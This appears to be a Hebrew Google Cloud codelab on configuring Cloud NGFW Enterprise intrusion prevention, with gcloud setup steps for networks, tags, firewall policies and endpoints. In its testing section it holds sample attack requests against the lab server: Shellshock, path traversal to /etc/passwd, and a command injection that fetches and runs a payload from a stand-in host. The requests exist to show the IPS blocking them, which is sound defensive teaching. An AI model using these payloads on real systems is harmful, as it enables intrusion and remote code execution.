1. מבוא
חומת אש מדור הבא ב-Cloud (NGFW)
Cloud Next Generation Firewall הוא שירות חומת אש מבוזר לחלוטין עם יכולות הגנה מתקדמות, מיקרו-פילוח ותמיכה רחבה, שמאפשר להגן על עומסי העבודה ב-Google Cloud מפני התקפות פנימיות וחיצוניות.
היתרונות של Cloud NGFW:
- שירות חומת אש מבוזרת: Cloud NGFW מספק אכיפה מבוססת-מארח עם שמירת מצב (stateful) ומבוזרת לחלוטין בכל עומס עבודה, כדי לאפשר ארכיטקטורת אבטחה של אפס אמון.
- הגדרה ופריסה פשוטים יותר: Cloud NGFW מטמיע מדיניות רשתות ומדיניות של חומות אש היררכיות שאפשר לצרף לצומת בהיררכיית המשאבים. כללי המדיניות האלה מספקים חוויית שימוש עקבית בחומת האש בכל היררכיית המשאבים של Google Cloud.
- שליטה פרטנית ומיקרו-פילוח: השילוב של כללי מדיניות חומת אש ותגים שמנוהלים על ידי ניהול זהויות והרשאות גישה (IAM) מספק שליטה מדויקת על תעבורת נתונים מצפון לדרום וממזרח למערב, עד למכונה וירטואלית אחת, ברשתות ובארגונים של ענן וירטואלי פרטי (VPC).
Cloud NGFW זמין ברמות הבאות:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise מוסיף ל-fabric המבוזר של חומת האש של Google Cloud את שירות מניעת חדירה (IPS), יכולת בשכבה 7. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה של תנועה מוצפנת ב-TLS, אבל היא לא נכללת בהיקף של סדנת הקוד הזו (ראו סדנת קוד ל-Cloud NGFW Enterprise עם בדיקת TLS).
עכשיו אפשר לפרוס בדיקות מהימנות של חומת אש מדור תשיעי (NGFW) בשכבה 7 עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורה של הרשת או בהגדרות הניתוב.
כדי להפעיל ולפרוס בקרה של חומת אש בשכבה 7 באמצעות IPS, צריך לבצע את הפעולות הבאות:
- יצירת קבוצה של נקודות קצה של חומת אש אזורית בניהול Google Cloud.
- אפשר גם ליצור מדיניות בדיקה של TLS (הנושא הזה לא מוסבר בקודלאב הזה)
- אפשר ליצור גם Trust Config (לא מוסבר בקודלאב הזה)
- משייכים את נקודות הקצה האלה לרשתות הענן הווירטואלי הפרטי (VPC) שבהן אתם צריכים את שירות Cloud NGFW Enterprise.
- מבצעים שינויים פשוטים בכללי חומת האש ובמדיניות חומת האש הקיימת כדי לציין את הפרופילים למניעת איומים בנתיבי התנועה השונים.
כללי מדיניות של חומת אש בין רשתות
מדיניות חומת האש ברשת משמשת כקונטיינר לכללי חומת האש. כללים שמוגדרים במדיניות של חומת אש ברשת לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות מדיניות חומת אש אחת של רשת שמשויכת אליה. כללי המדיניות של חומת האש ברשת תומכים בתגים (או פשוט בתגים) שמנוהלים על ידי IAM בכללי חומת האש. התגים האלה מחליפים את תגי הרשת הנוכחיים, וניתן להשתמש בהם כדי לספק זהות לעומס העבודה.
שיתוף של מדיניות חומת אש ברשתות שונות והשילוב עם תגים שמנוהלים על ידי IAM מפשטים מאוד את ההגדרה והניהול של חומות האש.
בעקבות ההשקה של מדיניות חומת אש ברשת, כללי מדיניות חומת האש של Google Cloud מורכבים עכשיו מהרכיבים הבאים:
- מדיניות היררכית של חומת אש
- כללי חומת אש ב-VPC
- מדיניות חומת האש של הרשת ( גלובלית ואזורית)
מדיניות חומת אש היררכית נתמכת בצמתים של הארגון והתיקייה בהיררכיית המשאבים, ואילו כללי חומת האש של VPC וכללי מדיניות חומת האש ברשת חלים ברמת ה-VPC. הבדל גדול בין כללי חומת האש של VPC לבין כללי מדיניות חומת האש של הרשת הוא שאפשר להחיל את כללי חומת האש של VPC רק על רשת VPC אחת, בעוד שאפשר לצרף את כללי מדיניות חומת האש של הרשת ל-VPC יחיד או לקבוצה של VPC, בין היתר, לצורך עדכוני באצווה.
לבסוף, יש לנו גם את כללי חומת האש המשתמעים שמגיעים עם כל רשת VPC:
- כלל תעבורת נתונים יוצאת (egress) שהפעולה שלו היא allow והיעד שלו הוא 0.0.0.0/0
- כלל תעבורת נתונים נכנסת (ingress) שהפעולה שלו היא דחייה, והמקור הוא 0.0.0.0/0
כברירת מחדל, רצף האכיפה מוצג בתרשים הבא:
חשוב לדעת שאפשר להחליף את סדר האכיפה בין כללי חומת האש של VPC לבין מדיניות חומת האש הגלובלית של הרשת. לקוחות יכולים לציין את צו האכיפה בכל שלב באמצעות פקודת gcloud.
תגים שמנוהלים על ידי IAM
התגים המשולבים בכללי המדיניות של חומת האש ברשת הם משאבים של צמד מפתח/ערך שמוגדרים ברמת הארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. כפי שרואים מהשם, תג כזה מכיל בקרת גישה של IAM שמציינת מי יכול לעשות מה בתג. לדוגמה, הרשאות IAM מאפשרות לציין אילו חשבונות משתמשים יכולים להקצות ערכים לתגים ואילו חשבונות משתמשים יכולים לצרף תגים למשאבים. אחרי שמחילים תג על משאב, אפשר להשתמש בו בכללי חומת האש ברשת כדי לאפשר ולדחות תעבורת נתונים.
התגים פועלים בהתאם למודל הירושה של משאבים ב-Google Cloud, כלומר התגים והערכים שלהם מועברים בהיררכיה מההורים. כתוצאה מכך, אפשר ליצור תגים במקום אחד ואז להשתמש בהם בתיקיות ובפרויקטים אחרים בהיררכיית המשאבים. בדף הזה מפורט מידע על תגים והגבלת גישה.
חשוב לא לבלבל בין תגים לבין תגי רשת. האחרונים הם מחרוזות שאפשר להוסיף למכונות של Compute Engine. הן משויכות למכונה ונעלמות כשהמכונה הוצאה משימוש. כללי חומת האש של VPC עשויים לכלול תגי רשת, אבל מאחר שהם לא נחשבים למשאבים בענן, הם לא כפופים לבקרת הגישה של IAM.
שימו לב: במסמך הזה אנחנו משתמשים לסירוגין במונחים 'תגים' ו'תגים שמנוהלים על ידי IAM'.
מה תפַתחו
בשיעור ה-Codelab הזה נדרשים פרויקט אחד ויכולת ליצור רשת VPC עם קישוריות ציבורית. במהלך השיעור נראה איך Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS באמצעות:
- בדיקת תעבורה בתוך VPC או תת-רשת [מזרח-מערב]
- בדיקת תעבורת הנתונים הנכנסת מהאינטרנט [צפון-דרום]
תהליכי הבדיקה ייבחרו באמצעות פרמטרים תואמים של חומת האש של Cloud, כולל 5-tuple (כתובת IP של מקור, כתובת IP של יעד, פרוטוקול, יציאת מקור, יציאת יעד) ותגים. בדיקת TLS לא נכללת בקודלאב הזה.
מערכת הכללים של מדיניות חומת האש ברשת תיראה דומה לטבלה הבאה:
עדיפות | כיוון | Target | מקור | יעד | פעולה | סוג |
100 | תעבורת נתונים יוצאת (egress) | Quarantine_Tag | הכול | הכול | דחייה | בסיסיות |
1000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | טווחים של בדיקות תקינות | הכול | אישור | בסיסיות |
2000 | תעבורת נתונים נכנסת (Ingress) | הכול | טווחים של שרת proxy לאימות זהויות (IAP) | הכול | אישור | בסיסיות |
3000 | תעבורת נתונים נכנסת (Ingress) | הכול | Geo, GCTI | הכול | דחייה | רגיל |
4000 | תעבורת נתונים יוצאת (egress) | הכול | הכול | Geo, GCTI | דחייה | רגיל |
5000 | תעבורת נתונים יוצאת (egress) | הכול | הכול | שמות דומיין מלאים (FQDN) של עדכוני מערכת | אישור | רגיל |
6000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | 10.0.0.0/24 | הכול | IPS | ארגונים |
7000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | CloudNAT_IP | הכול | IPS | ארגונים |
מה תלמדו
- איך יוצרים מדיניות חומת אש ברמת הרשת הגלובלית
- איך יוצרים תגים עם מדיניות חומת אש ברשת ומשתמשים בהם
- איך מגדירים את שירות למניעת חדירות ב-Cloud NGFW Enterprise ומשתמשים בו
מה צריך להכין
- פרויקט ב-Google Cloud
- ידע בפריסה של מכונות והגדרה של רכיבי רשת
- ידע בהגדרת חומות אש של VPC
2. לפני שמתחילים
יצירת משתנים ועדכון שלהם
בקודלאב הזה נעשה שימוש במשתני $כדי לעזור בהטמעת הגדרות gcloud ב-Cloud Shell.
ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע בסוגריים לפי הצורך (דילוג על הגדרת הפרויקט אם הפרויקט הרצוי כבר מוגדר). אם יש צורך בכמה נקודות קצה, למשל חומות אש, משתמשים במשתנה אחר למשאבים ברמת הארגון.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. הפעלת ממשקי API
מפעילים את ממשקי ה-API, אם עדיין לא עשיתם זאת:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. יצירת פרופיל אבטחה ונקודת קצה של Cloud NGFW לארגונים
יצירת נקודת הקצה של Cloud NGFW Enterprise נמשכת כ-20 דקות, לכן היא תיווצר קודם, וניתן לבצע את ההגדרה הבסיסית במקביל ליצירת נקודת הקצה.
יוצרים את פרופיל האבטחה ואת קבוצת פרופילי האבטחה:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
הפלט אמור להיראות כך:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
מוודאים שהמשאבים נוצרו:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
הפלט אמור להיראות כך:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
יוצרים את נקודת הקצה של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
מריצים את הפקודה הבאה כדי לוודא שנקודת הקצה נוצרת (סטטוס: יצירה).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
הפלט הצפוי (הערה: פורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
אפשר גם להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
תהליך היצירה של נקודת הקצה נמשך כ-20 דקות. ממשיכים לקטע 'הגדרה בסיסית' כדי ליצור את המשאבים הנדרשים במקביל.
5. הגדרה בסיסית
אם אתם מעדיפים ליצור את המשאבים הבסיסיים באופן ידני, תוכלו להמשיך לקטע הבא.
רשת VPC ותת-רשת
רשת ו-subnet של VPC
יוצרים את הרשת והתת-רשת של VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
יוצרים את Cloud Routers ואת שערי Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
מכונות
יוצרים את המכונות של הלקוח ושרת האינטרנט:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
תגים ברמת הפרויקט
אם צריך, מקצים למשתמש את ההרשאות tagAdmin ו/או tagUser:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
יוצרים את המפתח והערכים של התג ברמת הפרויקט:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
קישור תגים למכונות:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
המדיניות הגלובלית בנושא חומת אש בין רשתות
יוצרים מדיניות חומת אש גלובלית ברשת:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
יוצרים כללים בסיסיים של Cloud Firewall כדי לדחות תעבורת נתונים ממכונות בבידוד (נוצרו לצורך הדגמה בלבד, לא נעשה בהן שימוש ב-codelab הזה) ולאפשר תעבורת נתונים מטווחים של בדיקות תקינות ושל שרת proxy לאימות זהויות:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
יוצרים כללים רגילים של Cloud Firewall כדי לדחות תעבורת נתונים נכנסת ויוצאת ממדינות שנמצאות במצור, מכתובות IP זדוניות ידועות ומצמתים של יציאה ב-ToR, ומאפשרים רק תעבורת נתונים יוצאת לכתובות FQDN ספציפיות לצורך עדכוני מערכת (הכללים האלה נוצרו לצורך הדגמה בלבד, ולא נעשה בהם שימוש ב-codelab הזה):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
יוצרים כללים של Cloud Firewall שמאפשרים תעבורת נתונים נכנסת ממזרח למערב / בתוך תת-הרשת ומצפון לדרום / תעבורת נתונים מהאינטרנט מהטווחים הספציפיים (הכללים האלה יתעדכנו כדי לאפשר את הפעלת Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
משייכים את מדיניות חומת האש של הרשת לרשת ה-VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
מאזן עומסים חיצוני ברשת מסוג TCP/UDP
שומרים כתובת IP חיצונית ויוצרים את קבוצת המכונות ובדיקת התקינות:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
יוצרים שירות לקצה העורפי וכלל העברה:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. שיוך של נקודות קצה לארגונים ל-Cloud NGFW
מגדירים מחדש את משתני הסביבה לפי הצורך.
מוודאים שהיצירה של נקודת הקצה של חומת האש ב-Cloud הושלמה בהצלחה. ממשיכים רק אחרי שהסטטוס מוצג כ-פעיל (במהלך היצירה, הסטטוס הצפוי הוא יצירה):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
הפלט הצפוי (הערה: פורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
אפשר גם להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
משייכים את נקודת הקצה של Cloud NGFW Enterprise לרשת ה-VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
תהליך השיוך נמשך כ-10 דקות. ממשיכים רק אחרי שהסטטוס מוצג כ-פעיל (הסטטוס הצפוי הוא יצירה במהלך תהליך היצירה):
gcloud network-security firewall-endpoint-associations list
הפלט אמור להיראות כך:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
אפשר גם להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. כללי בדיקה של Cloud NGFW Enterprise
פותחים כרטיסייה חדשה ומפעילים חיבור SSH למכונה הווירטואלית של הלקוח דרך IAP (צריך להגדיר שוב את המשתנים בכרטיסייה החדשה):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
מגדירים את המשתנים הנדרשים בסשן ה-SSH ומגדירים את המשתנים (מוודאים שהערכים נכונים):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
בודקים את שני כתובות ה-IP באמצעות curl כדי לוודא שאפשר לגשת אליהן:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
התוצאה הצפויה בשתי בקשות ה-curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
שליחת התקפות לדוגמה לכתובת ה-IP הפנימית של השרת (תעבורת נתונים מזרחה-מערב או בתוך VPC). שרת האינטרנט אמור להגיב לכל הבקשות, כדי לאשר שאין בדיקה או מניעה ברמה L7:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
שולחים מחדש את התקפות הדוגמה לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (תנועה נכנסת מצפון לדרום), ובאופן דומה, שרת האינטרנט צריך להגיב לכל הבקשות:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
התוצאות הצפויות גם עבור כתובות IP ציבוריות וגם עבור כתובות IP פרטיות:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
חוזרים ל-Cloud Shell ומעדכנים את כללי ה-ingress הקיימים כדי להפעיל בדיקה ברמה L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
לחלופין, אפשר לתאר את כללי חומת האש כדי לוודא ששניהם עודכנו בהצלחה:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
הפלט אמור להיראות כך:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
כלל 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
הפלט אמור להיראות כך:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
חוזרים למכונה הווירטואלית של הלקוח ושולחים מחדש את התקפות הדגימה לכתובת ה-IP הפנימית של השרת (בדיקת East-West או Intra-VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
שולחים מחדש את התקפות הדוגמה לכתובת ה-IP החיצונית של השרת דרך Cloud NAT (בדיקה נכנסת מצפון לדרום):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
לא מתקבלות תשובות מההתקפות הראשונות, בהתאם לפלט הצפוי שמופיע בהמשך. זה מאשר שההתקפות ברמת החומרה הגבוהה חסומות עכשיו.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
עוברים אל Network Security (אבטחת רשת) > Threats (איומים) במסוף Cloud כדי לאמת את היומנים (יכול להיות שתצטרכו לרענן כמה פעמים אם ההתקפות עדיין לא מוצגות).
בוחרים באחת מההתקפות ולוחצים על 'הצגת יומן הביקורת' בצד שמאל (פותחים בכרטיסייה חדשה כדי לחזור בקלות). מרחיבים את ההתקפה כדי להציג את הפרטים:
לחלופין, אפשר להחליף את המסנן של Log Explorer בשאילתה הבאה:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
הרשומות ביומן האיומים אמורות להיראות כך:
אפשר לאמת חבילות שנלכדו על ידי חומת האש של Cloud באמצעות המסנן הבא ב-Logs Explorer (שימושי לצורך פתרון בעיות):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
ממשיכים לבדיקת תעבורת האינטרנט (אופציונלי) או סוגרים את סשן ה-SSH וממשיכים לפרק הבא כדי לבצע את שלבי הניקוי.
[אופציונלי] בדיקת תעבורת האינטרנט
כפי שאומת בקטע הקודם, עד כה נבדקו תעבורות בתוך תת-רשת/VPC (מזרח-מערב) ותעבורת נתונים נכנסת מהאינטרנט (צפון-דרום נכנס). אפשר גם להגדיר את Cloud NGFW Enterprise כך שיבדוק את כל תעבורת האינטרנט (יציאה צפון-דרום) על ידי יצירת כלל חדש של תעבורת נתונים יוצאת באמצעות Cloud Shell:
